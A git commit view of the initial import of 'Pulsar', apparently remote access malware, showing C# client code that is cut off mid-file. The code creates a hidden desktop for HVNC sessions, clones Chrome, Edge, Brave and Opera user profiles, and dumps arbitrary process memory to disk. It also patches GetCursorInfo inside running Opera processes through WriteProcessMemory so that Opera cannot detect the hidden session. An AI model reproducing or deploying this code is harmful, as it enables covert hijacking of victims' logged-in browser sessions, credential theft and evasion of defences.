initial commit
Pulsar .NET 9.0 Windows Release / build (push) Canceled after 0s
Mirror to Codeberg and Gitea / mirror (push) Canceled after 0s

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
BIN
View File
Binary file not shown.
+16
View File
@@ -0,0 +1,16 @@
using System;
namespace Pulsar.Client.Helper
{
public static class DateTimeHelper
{
public static string GetLocalTimeZone()
{
var tz = TimeZoneInfo.Local;
var tzOffset = tz.GetUtcOffset(DateTime.Now);
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using Pulsar.Client.Utilities;
using System;
using System.IO;
using System.Diagnostics;
namespace Pulsar.Client.Helper
{
public static class DumpHelper
{
/// <summary>
/// Dumps a processes memory to a temporary file, then reads the bytes and deletes the file.
/// </summary>
/// <param name="pid">Process id of the process to dump</param>
/// <param name="type">What kind of memory dump to do</param>
/// <returns></returns>
public static (string, bool) GetProcessDump(int pid, NativeMethods.MiniDumpType type = NativeMethods.MiniDumpType.MiniDumpWithFullMemory)
{
Process process = Process.GetProcessById(pid);
string tmpFile = Path.GetTempFileName();
try
{
bool success = false;
using (FileStream fs = new FileStream(tmpFile, FileMode.Create, FileAccess.Write, FileShare.None))
{
success = NativeMethods.MiniDumpWriteDump(
process.Handle,
process.Id,
fs.SafeFileHandle.DangerousGetHandle(),
type,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
}
if (success)
{
return (tmpFile, true);
}
}
catch (Exception ex)
{
return (ex.ToString(), false);
}
return ("", false);
}
}
}
@@ -0,0 +1,65 @@
using System;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Represents the progress state while cloning a browser profile directory.
/// </summary>
internal readonly struct BrowserCloneProgress
{
public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false)
{
FilesCopied = filesCopied;
TotalFiles = totalFiles;
CurrentItem = currentItem ?? string.Empty;
IsIndeterminate = isIndeterminate;
}
/// <summary>
/// Gets the number of files copied so far.
/// </summary>
public int FilesCopied { get; }
/// <summary>
/// Gets the total number of files scheduled for cloning.
/// </summary>
public int TotalFiles { get; }
/// <summary>
/// Gets the relative path of the item currently being cloned.
/// </summary>
public string CurrentItem { get; }
/// <summary>
/// Indicates whether the operation is currently in an indeterminate state.
/// </summary>
public bool IsIndeterminate { get; }
/// <summary>
/// Gets the progress percentage (0-100) when the total file count is known.
/// </summary>
public int Percent
{
get
{
if (TotalFiles <= 0)
{
return 0;
}
double raw = (double)FilesCopied / TotalFiles * 100d;
if (raw < 0d)
{
return 0;
}
if (raw > 100d)
{
return 100;
}
return (int)Math.Round(raw);
}
}
}
}
@@ -0,0 +1,262 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Manages the small progress form shown when cloning browser profiles so users can observe the operation.
/// </summary>
internal sealed class BrowserCloneProgressSession : IDisposable
{
private const string HvncDesktopName = "PulsarDesktop";
private readonly CloneProgressForm _form;
private readonly Progress<BrowserCloneProgress> _progress;
private readonly CancellationTokenSource _cts;
private readonly EventHandler _cancelHandler;
private bool _completed;
private bool _disposed;
private BrowserCloneProgressSession(CloneProgressForm form)
{
_form = form;
_cts = new CancellationTokenSource();
_cancelHandler = (sender, args) => RequestCancel();
_form.UserRequestedCancel += _cancelHandler;
_progress = new Progress<BrowserCloneProgress>(state =>
{
if (!_form.IsDisposed)
{
_form.UpdateProgress(state);
}
});
}
/// <summary>
/// Gets a progress reporter that can be used from background threads.
/// </summary>
public IProgress<BrowserCloneProgress> Progress => _progress;
/// <summary>
/// Gets a token that is cancelled when the user closes the progress UI.
/// </summary>
public CancellationToken CancellationToken => _cts.Token;
public void ReportPreparing()
{
InvokeOnUi(() => _form.ShowPreparing());
}
public Task ReportCompletionAsync(bool wasSuccessful)
{
if (_completed)
{
return Task.CompletedTask;
}
_completed = true;
if (_form.IsDisposed)
{
return Task.CompletedTask;
}
var completionSource = new TaskCompletionSource<object>(TaskCreationOptions.RunContinuationsAsynchronously);
InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null)));
return completionSource.Task;
}
public static Task<BrowserCloneProgressSession> TryCreateAsync(string browserName)
{
var completion = new TaskCompletionSource<BrowserCloneProgressSession>(TaskCreationOptions.RunContinuationsAsynchronously);
var uiThread = new Thread(() =>
{
IntPtr desktopHandle = IntPtr.Zero;
BrowserCloneProgressSession session = null;
try
{
desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError);
if (desktopHandle == IntPtr.Zero)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}");
completion.TrySetResult(null);
return;
}
if (!DesktopInterop.TrySetThreadDesktop(desktopHandle))
{
int threadError = Marshal.GetLastWin32Error();
Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'.");
completion.TrySetResult(null);
return;
}
var form = new CloneProgressForm();
form.Initialize(browserName);
void HandleCreated(object sender, EventArgs args)
{
form.HandleCreated -= HandleCreated;
try
{
session = new BrowserCloneProgressSession(form);
completion.TrySetResult(session);
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}");
completion.TrySetResult(null);
form.BeginInvoke(new Action(form.Close));
}
}
form.HandleCreated += HandleCreated;
form.FormClosed += (_, __) => Application.ExitThread();
Application.Run(form);
if (!completion.Task.IsCompleted)
{
completion.TrySetResult(session);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}");
completion.TrySetResult(null);
}
finally
{
DesktopInterop.Release(desktopHandle);
}
})
{
IsBackground = true,
Name = "Pulsar HVNC Progress UI"
};
uiThread.SetApartmentState(ApartmentState.STA);
uiThread.Start();
return completion.Task;
}
public void Dispose()
{
if (_disposed)
{
return;
}
_disposed = true;
_form.UserRequestedCancel -= _cancelHandler;
InvokeOnUi(() =>
{
if (!_form.IsDisposed)
{
_form.Close();
_form.Dispose();
}
});
_cts.Dispose();
}
private void RequestCancel()
{
if (_disposed)
{
return;
}
if (!_cts.IsCancellationRequested)
{
_cts.Cancel();
}
}
private void InvokeOnUi(Action action)
{
if (_form.IsDisposed)
{
return;
}
if (_form.InvokeRequired)
{
try
{
_form.BeginInvoke(action);
}
catch (ObjectDisposedException)
{
// ignored
}
}
else
{
action();
}
}
private static class DesktopInterop
{
private const uint DesktopAccessMask = 0x000001FF;
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
public static IntPtr OpenOrCreate(string desktopName, out int lastError)
{
lastError = 0;
IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask);
if (handle != IntPtr.Zero)
{
return handle;
}
lastError = Marshal.GetLastWin32Error();
handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero);
if (handle == IntPtr.Zero)
{
lastError = Marshal.GetLastWin32Error();
}
return handle;
}
public static bool TrySetThreadDesktop(IntPtr handle)
{
return handle != IntPtr.Zero && SetThreadDesktop(handle);
}
public static void Release(IntPtr handle)
{
if (handle != IntPtr.Zero)
{
CloseDesktop(handle);
}
}
}
}
}
@@ -0,0 +1,146 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Configuration for browser injection including paths and parameters
/// </summary>
public class BrowserConfig
{
public string ExecutablePath { get; set; }
public string SearchPattern { get; set; }
public string ReplacementPath { get; set; }
}
/// <summary>
/// Manages browser configurations for HVNC injection
/// </summary>
public static class BrowserConfiguration
{
private static readonly Dictionary<string, BrowserConfig> BrowserConfigs = new Dictionary<string, BrowserConfig>(StringComparer.OrdinalIgnoreCase)
{
{
"Chrome", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"ChromeX86", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"Edge", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"),
SearchPattern = "Local\\Microsoft\\Edge\\User Data",
ReplacementPath = "Local\\Microsoft\\Edge\\KDOT"
}
},
{
"Brave", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data",
ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT"
}
},
{
"Opera", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
},
{
"OperaGX", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera GX Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
}
};
/// <summary>
/// Gets the browser configuration for the specified browser type
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, etc.)</param>
/// <returns>Browser configuration or null if not found</returns>
public static BrowserConfig GetConfig(string browserType)
{
if (string.IsNullOrWhiteSpace(browserType))
return null;
if (BrowserConfigs.TryGetValue(browserType, out var config))
{
return config;
}
return null;
}
/// <summary>
/// Gets the first valid Chrome configuration (checks both64-bit and32-bit)
/// </summary>
/// <returns>Valid Chrome configuration or null if Chrome is not installed</returns>
public static BrowserConfig GetChromeConfig()
{
var chromeConfig = GetConfig("Chrome");
if (chromeConfig != null)
{
try
{
if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath))
{
return chromeConfig;
}
}
catch
{
// ignore and continue
}
}
var chromeX86 = GetConfig("ChromeX86");
if (chromeX86 != null)
{
try
{
if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath))
{
return chromeX86;
}
}
catch
{
// ignore
}
}
return null;
}
/// <summary>
/// Validates if the browser executable exists
/// </summary>
/// <param name="config">Browser configuration to validate</param>
/// <returns>True if executable exists, false otherwise</returns>
public static bool ValidateConfig(BrowserConfig config)
{
if (config == null)
return false;
return File.Exists(config.ExecutablePath);
}
}
}
@@ -0,0 +1,453 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC.Chromium
{
/// <summary>
/// Opera memory patcher that patches GetCursorInfo function to always return success
/// This prevents Opera from detecting HVNC environments by bypassing cursor detection
///
/// Usage:
/// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX()
/// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes
/// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic
///
/// How it works:
/// 1. Finds all running Opera processes with main windows
/// 2. Locates the GetCursorInfo function in user32.dll within each process
/// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret
/// 4. This bypasses Opera's cursor detection used to identify HVNC environments
///
/// The patch is applied in memory and does not modify files on disk.
/// </summary>
public class OperaPatcher
{
#region Win32 API Imports
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
[DllImport("psapi.dll", SetLastError = true)]
private static extern bool EnumProcessModules(
IntPtr hProcess,
[Out] IntPtr[] lphModule,
int cb,
out int lpcbNeeded);
[DllImport("psapi.dll")]
private static extern uint GetModuleFileNameEx(
IntPtr hProcess,
IntPtr hModule,
[Out] StringBuilder lpBaseName,
int nSize);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
#endregion Win32 API Imports
#region Structs and Constants
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID Luid;
public uint Attributes;
}
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
#endregion Structs and Constants
/// <summary>
/// Patches Opera processes to bypass HVNC detection
/// </summary>
/// <returns>True if at least one Opera process was successfully patched</returns>
public static bool PatchOperaProcesses()
{
bool anyPatched = false;
try
{
// Find all Opera processes
Process[] operaProcesses = Process.GetProcessesByName("opera")
.Where(p => p.MainWindowHandle != IntPtr.Zero)
.ToArray();
if (operaProcesses.Length == 0)
{
Debug.WriteLine("No Opera processes found with main window");
return false;
}
foreach (var process in operaProcesses)
{
try
{
Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}");
if (EnableDebugPrivilege(process.Id))
{
Debug.WriteLine("Debug privilege enabled successfully");
}
else
{
Debug.WriteLine("Failed to enable debug privilege, continuing anyway");
}
if (PatchOperaProcess(process.Id))
{
Debug.WriteLine($"Successfully patched Opera PID: {process.Id}");
anyPatched = true;
}
else
{
Debug.WriteLine($"Failed to patch Opera PID: {process.Id}");
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}");
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}");
}
return anyPatched;
}
/// <summary>
/// Patches a specific Opera process by PID
/// </summary>
/// <param name="pid">Process ID of the Opera process to patch</param>
/// <returns>True if the process was successfully patched</returns>
public static bool PatchOperaProcess(int pid)
{
try
{
IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo");
if (addr == IntPtr.Zero)
{
Debug.WriteLine("Failed to find GetCursorInfo function address");
return false;
}
Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}");
// Assembly: mov eax, 1; ret (returns 1/TRUE for success)
byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid);
if (handle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process. Error: {GetLastError()}");
return false;
}
try
{
uint oldProtect = 0;
if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect))
{
Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}");
return false;
}
int bytesWritten = 0;
if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten))
{
Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}");
return false;
}
Debug.WriteLine($"Successfully wrote {bytesWritten} bytes");
byte[] verifyBuffer = new byte[patchBytes.Length];
int bytesRead = 0;
if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead))
{
bool patchVerified = bytesRead == patchBytes.Length;
for (int i = 0; i < bytesRead && patchVerified; i++)
{
if (verifyBuffer[i] != patchBytes[i])
{
patchVerified = false;
}
}
if (patchVerified)
{
Debug.WriteLine("Patch verified successfully");
}
else
{
Debug.WriteLine("Patch verification failed");
}
}
uint dummy;
VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy);
return bytesWritten == patchBytes.Length;
}
finally
{
CloseHandle(handle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}");
return false;
}
}
/// <summary>
/// Gets the remote address of a function in another process
/// </summary>
private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName)
{
IntPtr processHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localModuleHandle = LoadLibrary(dllName);
if (localModuleHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName);
if (localFunctionAddress == IntPtr.Zero)
{
Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64();
Debug.WriteLine($"Function offset: 0x{offset:X}");
IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName);
if (remoteModuleBase == IntPtr.Zero)
{
Debug.WriteLine($"Module '{dllName}' not found in process {processId}");
return IntPtr.Zero;
}
IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset);
Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}");
return remoteFunctionAddress;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}");
return IntPtr.Zero;
}
finally
{
if (processHandle != IntPtr.Zero)
{
CloseHandle(processHandle);
}
}
}
/// <summary>
/// Gets the base address of a module in a remote process
/// </summary>
private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName)
{
try
{
IntPtr[] moduleHandles = new IntPtr[1024];
int bytesNeeded;
if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded))
{
Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}");
return IntPtr.Zero;
}
int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr));
StringBuilder moduleNameBuffer = new StringBuilder(256);
string targetName = moduleName.ToLower();
for (int i = 0; i < moduleCount; i++)
{
GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity);
string currentModuleName = moduleNameBuffer.ToString();
string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower();
if (fileName == targetName || fileName == targetName + ".dll")
{
return moduleHandles[i];
}
}
return IntPtr.Zero;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}");
return IntPtr.Zero;
}
}
/// <summary>
/// Enables debug privilege for the specified process
/// </summary>
private static bool EnableDebugPrivilege(int processId)
{
IntPtr processHandle = IntPtr.Zero;
IntPtr tokenHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine("Failed to open process for debug privilege");
return false;
}
if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle))
{
Debug.WriteLine("Failed to open process token");
return false;
}
LUID luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
{
Debug.WriteLine("Failed to lookup privilege value");
return false;
}
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Luid = luid,
Attributes = SE_PRIVILEGE_ENABLED
};
if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero))
{
Debug.WriteLine("Failed to adjust token privileges");
return false;
}
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}");
return false;
}
finally
{
if (tokenHandle != IntPtr.Zero)
CloseHandle(tokenHandle);
if (processHandle != IntPtr.Zero)
CloseHandle(processHandle);
}
}
/// <summary>
/// Asynchronously patches Opera processes with retry logic
/// </summary>
/// <param name="maxRetries">Maximum number of retry attempts</param>
/// <param name="delayBetweenRetries">Delay between retry attempts in milliseconds</param>
/// <returns>Task that completes when patching is done</returns>
public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000)
{
await Task.Run(async () =>
{
for (int attempt = 0; attempt < maxRetries; attempt++)
{
try
{
if (PatchOperaProcesses())
{
Debug.WriteLine("Opera patching completed successfully");
return;
}
if (attempt < maxRetries - 1)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms");
await Task.Delay(delayBetweenRetries);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}");
if (attempt < maxRetries - 1)
{
await Task.Delay(delayBetweenRetries);
}
}
}
Debug.WriteLine("All Opera patching attempts failed");
});
}
}
}
+114
View File
@@ -0,0 +1,114 @@
namespace Pulsar.Client.Helper.HVNC
{
partial class CloneProgressForm
{
private System.ComponentModel.IContainer components = null;
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblDetail;
private System.Windows.Forms.ProgressBar progressBar;
private System.Windows.Forms.Button btnCancel;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.lblTitle = new System.Windows.Forms.Label();
this.lblDetail = new System.Windows.Forms.Label();
this.progressBar = new System.Windows.Forms.ProgressBar();
this.btnCancel = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblTitle
//
this.lblTitle.AutoSize = false;
this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top;
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point);
this.lblTitle.Location = new System.Drawing.Point(10, 10);
this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblTitle.Name = "lblTitle";
this.lblTitle.Size = new System.Drawing.Size(280, 20);
this.lblTitle.TabIndex = 0;
this.lblTitle.Text = "Cloning browser profile...";
this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// lblDetail
//
this.lblDetail.AutoEllipsis = true;
this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top;
this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.lblDetail.Location = new System.Drawing.Point(10, 30);
this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblDetail.Name = "lblDetail";
this.lblDetail.Size = new System.Drawing.Size(280, 17);
this.lblDetail.TabIndex = 1;
this.lblDetail.Text = "Preparing...";
this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// progressBar
//
this.progressBar.Dock = System.Windows.Forms.DockStyle.Top;
this.progressBar.Location = new System.Drawing.Point(10, 50);
this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.progressBar.Name = "progressBar";
this.progressBar.Size = new System.Drawing.Size(280, 15);
this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee;
this.progressBar.TabIndex = 2;
//
// btnCancel
//
this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.btnCancel.Location = new System.Drawing.Point(215, 73);
this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
this.btnCancel.TabIndex = 3;
this.btnCancel.Text = "Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// CloneProgressForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.ClientSize = new System.Drawing.Size(300, 110);
this.Controls.Add(this.progressBar);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.lblDetail);
this.Controls.Add(this.lblTitle);
this.DoubleBuffered = true;
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.ForeColor = System.Drawing.Color.Gainsboro;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "CloneProgressForm";
this.Padding = new System.Windows.Forms.Padding(10);
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Profile cloning";
this.TopMost = true;
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,142 @@
using System;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal partial class CloneProgressForm : Form
{
private const int CloseDelayMilliseconds = 450;
private bool _isCompleting;
private bool _cancelRaised;
public CloneProgressForm()
{
InitializeComponent();
}
public event EventHandler UserRequestedCancel;
public void Initialize(string browserName)
{
lblTitle.Text = string.IsNullOrWhiteSpace(browserName)
? "Cloning browser profile..."
: $"Cloning {browserName} profile...";
lblDetail.Text = "Preparing...";
progressBar.Style = ProgressBarStyle.Marquee;
}
public void ShowPreparing()
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
}
public void UpdateProgress(BrowserCloneProgress progress)
{
if (IsDisposed)
{
return;
}
if (progress.IsIndeterminate || progress.TotalFiles <= 0)
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
return;
}
if (progressBar.Style != ProgressBarStyle.Continuous)
{
progressBar.Style = ProgressBarStyle.Continuous;
}
int maximum = Math.Max(1, progress.TotalFiles);
if (progressBar.Maximum != maximum)
{
progressBar.Maximum = maximum;
}
int value = Math.Min(progress.FilesCopied, progressBar.Maximum);
progressBar.Value = Math.Max(0, value);
string currentFile = progress.CurrentItem;
if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50)
{
currentFile = "..." + currentFile.Substring(currentFile.Length - 50);
}
lblDetail.Text = string.IsNullOrEmpty(currentFile)
? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files"
: $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}";
}
public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed)
{
_isCompleting = true;
btnCancel.Enabled = false;
if (IsDisposed)
{
onClosed?.Invoke();
return;
}
progressBar.Style = ProgressBarStyle.Continuous;
